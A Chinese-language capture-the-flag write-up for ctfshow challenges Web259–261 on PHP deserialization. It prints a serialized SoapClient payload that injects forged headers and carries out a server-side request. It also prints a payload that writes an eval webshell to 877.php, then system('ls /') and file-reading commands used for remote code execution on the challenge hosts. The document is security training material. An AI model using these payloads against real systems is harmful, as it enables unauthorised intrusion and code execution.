ctfshow(259->261)--反序列化漏洞--原生类与更多魔术方法

Web259

进入界面,回显如下:

复制代码
highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

题干里还提示了网站有一个flag.php界面,源代码如下:

复制代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

代码审计:

explode()用于切割字符串。第一个参数是切割符,第二个参数是被切割的字符串。该函数返回一个数组

$_SERVER['HTTP_X_FORWARDED_FOR']获取用户的IP地址。

所以 explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])就是获取用户的IP地址,用分隔符逗号,切割不同IP地址,并返回一个数组。

array_pop() 删除数组的最后一个元素。返回数组的最后一个值。

所以array_pop($xff); $ip = array_pop($xff);就是先删除数组的最后一个值,再将被删减过的数组的最后一个值赋值给$ip

if条件语句要求$ip的值为127.0.0.1,且POST传参token=ctfshow。

file_put_contents('flag.txt', $flag)将变量flag写入文件flag.txt中。

思路:

在index.php页面下通过反序列化,向flag.php文件发送请求,执行其中的file_put_contents方法,将flag放入flag.txt文件中,然后访问flag.php。

反序列化得到对象$vip后,vip会调用getFlag()方法。

但明显该方法不存在,而PHP中存在一种魔术方法 __call() ,当对象调用不存在的方法时,就会调用__call()方法。

PHP原生类SoapClient可以向网站发送请求,并且其中存在__call()方法,所以我们使用将vip实例化为SoapClient的对象。(要在php.ini中开启php_soap服务

SoapClient的构造函数:public __construct(?string $wsdl, array $options = [])

第一个参数设置为null即可,第二个数组参数则必需包含uri和location。

脚本构造如下:

复制代码
$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//请求头之间用\r\n隔开 与请求体之间用\r\n\r\n隔开
$vip = new SoapClient(null,array(
    'uri' => '127.0.0.1',
    'location' => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));

echo urlencode(serialize($vip));

EXP:

payload:

复制代码
https://29b9092a-65ed-4299-9bf2-4c208c6003c9.challenge.ctf.show/
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Firefox%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

此时flag已经成功写入flag.txt中,访问flag.txt得到flag.

Web260

源代码:

复制代码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

代码审计:

包含了flag.php文件,序列化了参数ctfshow,并在参数中匹配字符串ctfshow_i_love_36D。

思路:

我们向序列化函数serialize()传入字符串时,返回值中还是有该字符串的内容:

因此直接给参数赋值为匹配的字符串即可。

EXP:

payload:

复制代码
https://ef0558b0-355c-4f58-9236-c5a5a596124b.challenge.ctf.show/
?ctfshow=ctfshow_i_love_36D

得到flag.

Web261

源代码:

复制代码
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

代码审计:

ctfshowvip类中有六个魔术方法,其中构造方法__construct和析构方法__destruct我们已经知晓,接下来介绍其它四种魔术方法。

__wakeup :当我们要调用反序列化函数unserialize时,系统会先调用__wakeup方法。
__invoke :当我们将一个对象当作函数调用时,系统将调用__invoke方法。

比如vip是一个对象,但是我们用 vip() 这样的形式使用它,__invoke方法就被调用。
__sleep :与__wakeup相对,__sleep用于将对象序列化之前。
__unserialize : 该魔术方法用于PHP7.4.0及之后的版本。当__unserialize与__wakeup方法同时存在时,将忽略__wakeup而执行__unserialize.

本程序只使用了unserialize,所以在反序列化之前调用了__unserialize方法,之后使用__destruct方法。

思路:

本题要想获取flag,我们要实现RCE操作。

可知code是由username和password拼接起来的,只要code==0x36d,就能将password的数据写入以username命名的文件。

所以username的值应该是一个.php文件,password的值应该是一句话木马。

构造脚本如下:

复制代码
class ctfshowvip{
    public $username = '877.php';
    public $password = '<?php eval($_GET[1]);?>';
    public $code;
}

$vip = new ctfshowvip();
echo urlencode(serialize($vip));

这样拼接之后的$code=877.php<?php eval($_GET[1]);?>

此时code是字符串类型,以数字877开头,这样在与数字0x36d弱比较时,就会将code的值转换为877,从而实现code=0x36d的效果。

到此,我们成功创建了877.php文件,并将<?php eval($_GET[1]);?>写入了文件中,进入该文件,我们即可实现shell.

EXP:

创建文件实现shell:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/
vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

在877.php下进行RCE:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls');

当前目录下有以下两个文件:

明显flag不在当前目录,我们找一下其他目录:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls /');

在根目录下找到了文件flag_is_here

读取该文件:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('tac /flag_is_here');

得到flag.

相关推荐
txg66610 小时前
HgtJIT:基于异构图 Transformer 的即时漏洞检测框架
人工智能·深度学习·安全·transformer
zyl8372113 小时前
前端开发网络安全注意事项
安全·web安全
OpenAnolis小助手14 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
tingting011914 小时前
敏感目录扫描及响应码
安全
智慧医养结合软件开源15 小时前
规范新增·精准赋能,凝聚志愿力量守护老人安康
大数据·安全·百度·微信·云计算
KKKlucifer17 小时前
数字安全浪潮下国产数据安全企业发展图鉴
大数据·安全
淼淼爱喝水17 小时前
Pikachu 靶场 RCE 模块乱码问题解决方法
网络·安全·pikachu
紫墨丹青17 小时前
贝锐向日葵IP和域名
网络·tcp/ip·网络安全·远程工作
hahaha 1hhh17 小时前
用SSH 建立了一个本地端口转发隧道,用于安全地访问远程服务器上的服务,后台运行。autodl
服务器·安全·ssh
IT231017 小时前
国产OpenClaw产品崛起:博云BoClaw如何破解AI智能体的「安全与自主」双命题
人工智能·安全